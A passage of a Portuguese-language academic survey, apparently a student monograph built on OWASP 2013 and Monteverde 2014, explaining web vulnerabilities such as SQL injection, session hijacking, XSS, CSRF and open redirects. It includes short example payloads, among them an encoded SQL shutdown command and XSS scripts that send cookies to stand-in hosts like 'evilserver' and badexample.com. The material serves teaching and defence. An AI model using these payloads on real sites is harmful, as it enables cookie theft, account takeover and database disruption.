consulta segue no Quadro 7 (MONTEVERDE, 2014). 
 
SELECT accounts FROM users WHERE login = ’ legal User ’; 
 exec ( char ( 0 x 7 3 6 8 7 5 7 4 6 4 6 f 7 7 6e ) ) −− AND pass = ’ ’ AND pi n = 
 
Quadro 7: Exemplo de consulta utilizando Codificação Alternativa 
Cabe destacar que foram narrados os fundamentais tipos de ataques de 
SQL injection. Têm inúmeras variantes de ataques que exploram vulnerabilidades 
específicas de cada sistema gerenciador de banco de dados, para mais informações 
consulte (CLARKE, 2009 apud MONTEVERDE, 2014). 
 
4.2 QUEBRA DE GERENCIAMENTO DE SESSÃO 
 
A quebra de gerenciamento de sessão do inglês Broken Authentication and 
Session Management, abarca todas as peculiaridades referentes a manipulação da 
autenticação dos usuários e o gerenciamento de sessões na aplicação. Todo 
processo de autenticação de usuário pode ser crítica (OWASP, 2013ª apud 
MONTEVERDE, 2014). 
A autenticação é um aspecto crítico desse processo, porém os mecanismos 
de autenticação mesmo consistentes podem ser lesados por falhas em funções de 
gerenciamento de credenciais, abarcando a modificação da senha, atualizações de 
conta, e outras funções conexas. Segundo (HULUKA; POPOV, 2012 apud 
 
27 
 
MONTEVERDE, 2014), duas variantes desse tipo de vulnerabilidades são o 
Hijacking Attacks e Session Fixation. 
Hijacking Attacks (roubo de sessão) são fundamentados na interceptação 
de cookies não criptografados. Cookies de autenticação comumente são inventados 
durante o procedimento de autenticação do usuário. Depois de bem-sucedida a 
validação das credenciais de autenticação do usuário, a aplicação Web produz 
cookies de autenticação e os emite para o navegador. O navegador atribui esses 
cookies a cada pedido que requer autenticação. De forma geral os cookies de 
autenticação se tornam um substituto temporário para credenciais de usuário e 
senha (DACOSTA et al., 2012 apud MONTEVERDE, 2014). 
 Os cookies são estáticos, durante sua existência não mudam. Do mesmo 
modo, se um atacante rouba os cookies de autenticação, será capaz de representar 
o usuário coligado a esse cookie. A Figura 1 mostra uma visão simplificada de um 
Hijacking Attack em uma rede sem fio. Após a autenticação, a vítima utiliza um 
cookie de autenticação em cada pedido para o aplicativo da Web (passo 1). Como 
normalmente ocorre, o cookie é encaminhado desprotegido em toda a rede e é 
capturado por um atacante que usa escutas na comunicação (passo 2). Enfim, o 
atacante pode utilizar o cookie de autenticação roubado para fazer pedidos 
arbitrários para a aplicação Web (passo 3), até que o cookie expire (DACOSTA et 
al., 2012 apud (MONTEVERDE, 2014). 
 
28 
 
 
Figura 1: Exemplo simplificado de Hijacking Attack 
Fonte: (DACOSTA et al., 2012) 
A Fixação de Sessão do inglês Session Fixation, acontece várias vezes 
quando os identificadores de sessão (IDs) não são somente tokens de identificação, 
porém também são autenticadores. Significando que posteriormente a 
autenticação, os usuários são reconhecidos com base em suas credenciais (por 
exemplo, nomes de usuário/senhas ou certificados digitais) e os IDs de sessão 
servem de forma efetiva como senhas estáticas temporárias para entrada a 
aplicação. Essa abordagem, no entanto, ignora a probabilidade de um intruso emitir 
um ID de sessão para o navegador do usuário, obrigando o navegador a utiliza-lo 
para a sessão escolhida. Isso acontece quando um identificador de sessão usuário 
foi fixado antecipadamente em vez de ter sido gerado aleatoriamente no momento 
da autenticação (KOLŠEK, 2002 apud MONTEVERDE, 2014). 
A Figura 2 ilustra uma demonstração simples de fixação de sessão usando 
IDs transportados na própria URL. O http://online.worldbank.dom Web Server 
hospeda um serviço de Web banking, os IDs de sessão são conduzidos a partir do 
navegador para o servidor através de uma URL com o parâmetro sessionid. 
 
29 
 
Inicialmente, o atacante que, neste caso, ao mesmo tempo é um usuário legítimo 
do sistema se registra no servidor (1) e lhe é emitido o session ID 1234 (2). O 
atacante, então, emite a URL http://online.worldbank.dom/login.jsp?sessionid=1234 
para a vítima que também é utilizador do Web banking, tentando atraír a acessá-lo 
(3). O usuário (como conveniente para o nosso exemplo) acessa a URL, que expõe 
página de autenticação do servidor no seu navegador (4). Nota-se que mediante 
recebimento do pedido de login.jsp?sessionid=1234, a aplicação Web já tem 
constituído uma sessão para este usuá- 14 rio e uma nova não deve ser inventada. 
Por fim, o usuário fornece suas credenciais ao script de autenticação (5) e o servidor 
outorga a entrada a sua conta bancária. Porém, neste ponto, sabendo a 
identificação da sessão, o atacante também pode acessar a conta do usuário via 
account.jsp?sessionid=1234 (6). Uma vez que a sessão já foi ligada anteriormente 
que a vítima estivesse autenticada, então se diz que vitima esta autenticada na 
sessão do atacante (MONTEVERDE, 2014). 
 
 
 
Figura 2: Exemplo simplificado de Session Fixation 
Fonte: (KOLŠEK, 2002) 
 
30 
 
O exemplo apresentadona Figura 2 é o mais simples e menos perigoso dos 
ataques de fixação de sessão e tem muitas falhas (para o atacante), tais como: ele 
tem que ser um usuário legítimo no servidor de destino e tem que enganar o usuário 
para se autenticar através da URL pré-definida pelo atacante. Entretanto, existem 
outras maneiras de fixação de sessão como Session ID in a hidden form field que 
redireciona a vítima para um servidor Web falso para capturar suas credenciais e 
fixar uma sessão (MONTEVERDE, 2014). 
 
5 SCRIPTS ENTRE SITES 
O ataque Scripts Entre Sites, do inglês Cross-Site Scripting (XSS), é um tipo 
de ataque de injeção que acontece quando um atacante utiliza uma aplicação Web 
para encaminhar o código malicioso ao navegador do usuário, que por sua vez o 
executa, dando assim entrada a dados do navegador do cliente, como cookies de 
sessão do usuário. Ataques XSS podem acontecer em qualquer lugar da aplicação 
Web que mostra entradas de usuários como saídas na aplicação sem nenhuma 
validação prévia dos dados de entrada (OWASP, 2013ª apud MONTEVERDE, 
2014). 
Segundo a OWASP existem três tipos de ataques XSS conhecidos: o 
persistente (stored), o refletido (reflected) e o fundamentado em DOM (Document 
Object Model) (DOM based). No ataque XSS do tipo persistente, o atacante se 
utiliza de uma entrada na aplicação Web para gravar o código malicioso no lado do 
servidor, por exemplo nas publicações de um blog. Em seguida devido o não 
tratamento de dados de saída da aplicação, qualquer usuário que visualizar os 
posts, recuperá o código malicioso e padecerá o ataque XSS exibindo assim todos 
os dados comprimidos em seu navegador (VOGT et al., 2007 apud MONTEVERDE, 
2014). O exemplo de código javascript no Quadro 8 quando executado no 
navegador do cliente envia um cookie para um servidor controlado pelo atacante 
(MONTEVERDE, 2014). 
 
 
31 
 
 
Olhe essa foto! 
<img src = ‘’image.jpg’’> 
< script > 
 document.images [ 0 ] . src = " http://evilserver/image.jpg? stolencookie =" 
document.cookie ; 
 
Quadro 8: Exemplo XSS persistente armazenado em um post 
 
 No ataque XSS do tipo refletido o código malicioso não é persistido na 
aplicação Web, ao invés disso é prontamente refletido no navegador do usuário. O 
atacante então seduz o usuário para uma página Web maliciosa ou o leva a acessar 
um link encaminhado por e-mail. Neste momento o navegador do usuário executa 
o script malicioso e começa uma requisição GET ou POST passando parâmetros 
selecionados pelo atacante durante a execução do código como cookies de sessão 
e dados sensíveis armazenados no navegador do usuário (PELIZZI; SEKAR, 2012 
apud MONTEVERDE, 2014). O código do Quadro 9 ilustra um link malicioso 
encaminhado ao usuário. 
 
http://example.com/index.php? user =<script >window.onload = function ( ) 
{ var AllLinks=document.getElementsByTagName ( " a " ) ; AllLinks [ 0 ].href = 
" http:// badexample.com/document.cookie ; " } </script> 
 
Quadro 9: Exemplo XSS Refletido. 
 
32 
 
O ataque XSS fundamentado em DOM é um tipo de ataque que transforma 
o ambiente DOM do navegador do usuário explorando scripts existentes na 
aplicação Web, para se comportarem de forma impensada. Como consequência a 
página Web não modifica, mas o código contido no lado do cliente muda devido a 
alterações no ambiente DOM da página se tornando malicioso e executando ações 
distintas do esperado (OWASP, 2013ª apud MONTEVERDE, 2014). O código do 
Quadro 10 mostra a estrutura de uma página Web vulnerável ao ataque XSS 
baseado em DOM (MONTEVERDE, 2014). 
 
< html > 
<head> 
</head> 
<body> 
<h1> Selecione sua Linguagem : </ h1> 
<select> 
<script > 
document.write ("<OPTION value=1>"+ document.location . href.substring ( 
document .location.href.indexOf ( " default = " ) + 8 ) + " </OPTION > " ) ; 
document.write (" <OPTION value =2> English </OPTION > " ) ; 
</script > 
</select > 
</body > 
</html > 
 
 
33 
 
Quadro 10: Exemplo XSS Baseado em DOM 
 Quando a página Web é exposta a URL no navegador é parecido ao link 1 
do Quadro 11. Um ataque baseado em DOM pode ser deferido encaminhando o 
link 2 do Quadro 11 ao usuário. Ao acessar o link o navegador responde com a 
página que contém o código javascript descrito. O navegador então inventa um 
objeto DOM no qual o objeto document.location usa o código . Nota-se que a 
resposta HTTP enviada do servidor não contém carga do atacante, esta carga se 
mostra no script do lado do cliente em tempo de execução. Quando um código 
malicioso acessa o document.location que é a variável DOM, o navegador nesse 
momento assume então que o código não é malicioso e o executa (OWASP, 2013ª 
apud MONTEVERDE, 2014). 
 
1 − http://www.some.site/page.html ? default = Portugues 
2 − http://www.some.site/page.html ? default =< script > alert ( document.cook e ) </script > 
 
Quadro 11: Exemplo de XSS Basedo em DOM 
6 REFERÊNCIA INSEGURA A OBJETO DIRETO 
A Referência Insegura a Objeto Direto, do inglês Insecure Direct Object 
Reference acontece quando se mostra diretamente uma referência para um objeto 
interno da aplicação, como um arquivo de configuração ou uma chave que faz 
referência direta ao de banco de dados. Sem uma política adequada de verificação 
de acesso, atacantes podem manipular referências internas da aplicação e acessar 
dados sensíveis sem autorização (TEN, 2013 apud MONTEVERDE, 2014). 
Quando se é possível identificar referências específicas a objetos internos 
da aplicação como por exemplo id’s de usuário, referências a conteúdos privados 
referênciados por id’s específicos, atacantes podem controlar externamente tal 
referência as manipulando. Um exemplo é a manipulação de parâmetros em uma 
 
34 
 
URL, quando encaminhado um parâmetro adulterado a aplicação pode ceder 
acesso a dados não autorizados (HINRICHS et al., 2013 apud MONTEVERDE, 
2014). 
O trecho de código do Quadro 12 exemplifica que o aplicativo utiliza dados 
não verificados em uma chamada SQL que está acessando as informações da 
conta de um usuário (MONTEVERDE, 2014). 
 
Stringquery="SELECT * FROM accts WHERE account = ? " ; 
PreparedStatement pstmt = connection . prepareStatement ( query , . . . ) ; 
pstmt.setString ( 1 , request.getParameter ( " acct " ) ) ; 
ResultSet results = pstmt.executeQuery ( ) ; 
http:// example.com/app/accountInfo?acct = notmyacct 
 
Quadro 12: Exemplo de Referência Insegura a Objeto Direto. 
O atacante pode mudar o parâmetro ’acct’ em seu navegador para emitir 
qualquer número de conta. Se o parâmetro não for verificado, o atacante pode 
acessar qualquer conta de usuário, em vez de somente a conta do cliente 
pretendido (OWASP, 2013ª apud MONTEVERDE, 2014). 
 
7 CONFIGURAÇÃO INCORRETA DE SEGURANÇA 
As vulnerabilidades decorrentes de Configurações Incorretas de 
Segurança, do inglês Security Misconfiguration, envolvem a ausência de 
configurações seguras inseridas aplicações Web, arcabouços, servidores de 
aplicação, servidores Web, e servidores de banco de dados. Todas as 
configurações carecem de ser decididas e conservadas com fortes regras de 
segurança. Todos os elementos de software envolvidos necessitam ser sustentados 
 
35 
 
atuais abarcando até mesmo todas as bibliotecas usadas pelo software (OWASP, 
2013ª apud MONTEVERDE, 2014). 
Eshete et al. (2011) apud Monteverde (2014), garante que os riscos da 
configuração incorreta de segurança vão de acesso não autorizado a alguns dados 
do sistema até funcionalidades que danifiquem um sistema completo. Isto é ainda 
mais agravado pelo fato de um único meio (host) ser utilizado várias vezes para 
abrigar várias aplicações Web em comum, por exemplo, um servidor Web 
compartilhado. Adicionalmente, instâncias inseguras de uma configuração podem 
ser multiplicadas com riscos potenciais (MONTEVERDE, 2014). 
A seguir são descritos 2 cenários de vulnerabilidades decorrentes de 
configuração incorreta:∙ Cenário 1: o console de administração do servidor de aplicações é 
automaticamente instalado e não extraído e as contas padrões não são mudadas. 
O atacante descobre as páginas de administração padrão que permanecem no 
servidor, então autentica-se no servidor com senha padrão e adquire o controle 
(MONTEVERDE, 2014). 
∙ Cenário 2: a listagem de diretórios não está desabilitada em seu servidor. 
O atacante pode listar os diretórios para localizar qualquer arquivo. O atacante 
então encontra e acessa todas as classes Java reunidas, descompila utilizando 
ferramentas de engenharia reversa para alcançar todo o código personalizado. 
Podendo então desvendar falhas no código permitindo assim a exploração da 
aplicação Web (OWASP, 2013ª apud MONTEVERDE, 2014). 
 
8 EXPOSIÇÃO DE DADOS SENSÍVEIS 
 A Exposição de Dados Sensíveis do inglês, Sensitive Data Exposure, 
corresponde todos os dados privados passíveis de interceptação. Dados 
guardados, em trânsito e até mesmo dados comprimidos nos navegadores dos 
clientes. Geralmente os atacantes obram, roubando chaves, fazendo ataques man-
in-the-middle 3, ou interceptando dados em texto simples fora do servidor, durante 
 
36 
 
o trânsito na rede, ou a partir do navegador do usuário (OWASP, 2013ª apud 
MONTEVERDE, 2014). Mesmo com o uso de criptografia quando essa é fraca pode 
danificar os dados em trânsito e falhas no navegador Web também são muito 
comuns e simples de se detectar, mas são complexas de procurar em larga escala 
(VIJAYARANI; TAMILARASI, 2011 apud MONTEVERDE, 2014). 
 
 
Figura 3: Exemplo de captura de dados na rede 
A Figura 3 expõe a interceptação das credenciais do usuário no período da 
autenticação por um dispositivo Android usando o programa Intercept-NG (ARES, 
2013 apud MONTEVERDE, 2014) integrado a mesma rede. Os dados foram 
interceptados usando uma variação do ataque man in the middle chamado SSL 
Stripping 4 (MONTEVERDE, 2014). 
 
9 FALTA DE CONTROLE EM NÍVEL DE ACESSO 
Ataques que exploram a Falta de Controle em Nível de Acesso, do inglês 
Missing Function Level Access Control, abrangem uma série de choques na 
estrutura de controle de acesso da aplicação. Dependendo de restrições e 
privilégios da conta, o usuário acessa um determinado nível de funcionalidades da 
aplicação. Depois do pedido de acesso, o aplicativo emite um sinal de admissão 
 
37 
 
para o usuário. No entanto, no caso de usuários não seguros, cargos administrativos 
tornam-se mira de acessos não autorizados (KOSHUTANSKI; MASSACCI, 2008 
apud MONTEVERDE, 2014). 
Um atacante autenticado com nível de acesso limitado pode facilmente 
obrigar a navegação para URLs restritas. As URLs a seguir determinam 
autenticação, logo direitos de administrador também são precisos para acesso à 
página admin_getappInfo como exposto no Quadro 13 (MONTEVERDE, 2014). 
 
http://example.com/app/getappInfo 
http://example.com/app/admin\ _ getappInfo 
 
Quadro 13: Exemplo de Falta de Controle em Nível de Acesso. 
Se um usuário não autenticado pode acessar qualquer página, isso é uma 
falha. Se o usuário tem autorização para acessar a página admin_getappInfo, isso 
também é uma falha, e pode levar um atacante para páginas de administração 
protegidas de forma imprópria (MONTEVERDE, 2014). 
10 FALSIFICAÇÃO DE SOLICITAÇÃO ENTRE SITES 
Falsificação de Solicitação entre Sites, do inglês Cross-Site Request 
Forgery (CSRF), é um tipo de ataque que engana a vítima encaminhando-a para 
uma página Web com um conteúdo malicioso. No momento do ataque CSRF, o 
atacante herda a identidade e os privilégios da vítima por meio da página Web 
maliciosa, podendo desta forma executar uma ação indesejada em nome da vítima, 
que pode ser de um envio de e-mail até uma compra online. Este tipo de ataque 
opera especialmente em funções que alteram o estado do servidor Web, mas 
também pode ser utilizado para acessar dados confidenciais das vítimas 
(MONTEVERDE, 2014). 
 
38 
 
A maior parte dos sítios Web tem mecanismos que conserva o usuário 
autenticado utilizando o seu navegador, como por exemplo, cookies de sessão, 
credenciais de autenticação básica, endereço IP. Assim sendo, quando um usuário 
está autenticado em um sítio o mesmo não tem como saber se o pedido foi feito por 
um usuário legítimo. Desta forma então, o atacante de posse de dados que o 
autentiquem no site pode executar várias ações indesejadas sem o conhecimento 
antecedente da vítima (OWASP, 2013ª apud MONTEVERDE, 2014). 
Conforme Barth et al. (2008) apud Monteverde (2014), um ataque CSRF 
rompe a integridade da sessão do usuário com um determinado sítio, injetando 
solicitações de rede por meio do navegador da vítima. Os navegadores Web por 
meio de suas políticas de segurança deixam que sítios Web encaminhem 
solicitações HTTP de qualquer endereço de rede. Por sua vez, essa política tolera 
que o atacante possa controlar o conteúdo processado pelo navegador em seu favor 
(MONTEVERDE, 2014). 
 
Figura 4: Exemplo de ataque Cross-Site Request Forgery (CSRF) 
Fonte: (BARTH et al., 2008) 
 
39 
 
A Figura 4 ilustra um ataque CSRF aonde a vítima ao acessar a página Web 
maliciosa é desviada ao sítio Web www.google.com, fazendo que a vítima se 
autentique, o atacante então sequestra os cookies do usuário e se autentica no site 
se passando pelo usuário. Mais tarde a vítima faz buscas e o atacante tem acesso 
a todo seu histórico de procuras (MONTEVERDE, 2014). 
 
11 USANDO COMPONENTES COM VULNERABILIDADES CONHECIDAS 
 
O Uso de Componentes com Vulnerabilidades Conhecidas, do inglês Using 
Components with Known Vulnerabilities, acontece quando certos elementos das 
aplicações Web, tais como arcabouços, bibliotecas, URL específicas, funções de 
redirecionamento são vulneráveis. O atacante pode utilizar desses elementos, para 
comprometer as aplicações. Falhas relacionadas a componentes são muito 
complexos de identificar. Estas falhas permanecem em aproximadamente todas as 
aplicações online ou infraestrutura dos Websites. Em outras palavras, dado que 
uma biblioteca ou arcabouço têm alguma falha em seu site, ele pode induzir a 
ataques de injeção SSL, ataques XSS, ataques remotos e outros ataques podem 
ser concretizados. Em casos graves, um acesso completo ao servidor Web 
(OWASP, 2013ª apud MONTEVERDE, 2014). 
Os acessos a informações sobre vulnerabilidades de software podem ser 
com facilidade localizados em repositórios de desenvolvimento de aplicações de 
código aberto. Essas vulnerabilidades acontecem durante o ciclo de vida do produto 
e estão alastradas por numerosos repositórios de software. Além disso, em grandes 
repositórios de software, uma única vulnerabilidade pode se ampliar por vários 
componentes e ter interações multidimensionais com outras vulnerabilidades. De tal 
modo, identificar os padrões de ocorrência de uma vulnerabilidade no contexto de 
desenvolvimento de software permanece a ser um problema em aberto (OWASP, 
2013ª apud MONTEVERDE, 2014). 
 
40 
 
 Vulnerabilidades de componentes causam vários tipos de riscos, desde 
riscos triviais a códigos maliciosos aprimorados projetados para alcançar uma 
organização específica. Componentes com falhas quase sempre podem 
comprometer por completo aplicações inteiras. Um exemplo ocorrido em 2011 com 
o Apache CXF Authentication Bypass ao não aprovisionar um token de identidade, 
consentia aos atacantes invocar qualquer serviço Web com permissão total (WU et 
al., 2010 apud MONTEVERDE, 2014). 
 
12 ENCAMINHAMENTO E REDIRECIONAMENTOS INVALIDADOS 
 
Os Encaminhamentos e Redirecionamentos Invalidados do Inglês, 
Unvalidated Redirect & Forwards, ocorrem quando a aplicação Web aceita entrada 
de dados não garantidos, que façam que a aplicação seja redirecionada por uma 
solicitação HTTP alterada. Quando o atacante muda a URL para um sítio malicioso 
pode conseguir sucesso ao lançar um ataque de phishing e roubar dados sensíveisdo usuário como login e senha. Como o nome da URL tem uma aparência confiável 
ao do sítio original as tentativas de phishing podem ter sucesso (OWASP, 2013ª 
apud MONTEVERDE, 2014). 
 Os exemplos a seguir apresentam esse tipo de ataque: Cenário 1: A 
aplicação tem uma página chamada "redirect.jsp" que utiliza um único parâmetro 
chamado "url". O atacante muda o parametro "url" com o endereço de um sítio 
malicioso que redireciona os usuários para o sítio que consegue phishing e instala 
o malware (OWASP, 2013ª apud MONTEVERDE, 2014). O Quadro 14 exemplifica 
o URL completa. 
 
http:// www.example.com/redirect.jsp?url=evil.com 
 
 
41 
 
Quadro 14: Exemplo de Encaminhamento e Redirecionamentos 
Invalidados. 
Cenário 2: O aplicativo utiliza um redirecionamento para rotear pedidos 
entre as distintas partes da aplicação. Para promover isso, determinadas páginas 
usam um parâmetro para indicar onde o usuário deve ser enviado se uma transação 
é bem-sucedida. Neste caso, o atacante modifica a URL que vai redirecionar o 
acesso do aplicativo, logo em seguida, realiza o redirecionamento para a parte 
administrativa acessando assim a página não autorizada (TEN, 2013 apud 
MONTEVERDE, 2014). O Quadro 15 exemplifica o url completa. 
 
http://www.example.com/ boring.jsp? fwd=admin.jsp 
Quadro 15: Exemplo de Encaminhamento e Redirecionamentos 
Invalidados 2. 
 
 
 
 
 
 
 
 
 
 
 
 
42 
 
13 REFERÊNCIAS 
 
MCCLURE, S.; SCAMBRAY, J.; KURTZ, G. Hackers expostos: segredo e 
soluções para a segurança de redes. 7. ed. Porto Alegre: Bookman, 2014. 
MONTEVERDE; W. A. Estudo e Análise de Vulnerabilidades Web. Universidade 
Tecnológica Federal do Paraná Curso Superior de Tecnologia em Sistemas para 
Internet. 2014. 
FELIPE; F. BARBOZA; M. Segurança De Sistemas Da Informação. 2018 
SANTOS, A. H. O. Análise de vulnerabilidades: o que é e qual a importância 
para a organização? União Geek, 27 jan. 2018. Disponível em: 
<https://www.uniaogeek.com. br/analise-de-vulnerabilidades-importancia/>. Acesso 
em: 23 dez. 2018. 
TAHA, A. M. C. Guia de testes de segurança para aplicações web. Florianópolis 
- SC 2017 
WADE, E. 10 common security vulnerabilities. Veracode, 2 nov. 2015. Disponível 
em: <https://www.veracode.com/blog/2015/09/10-common-security-vulnerabilities-
and-markets-they-impact-sw>. Acesso em: 23 dez. 2018.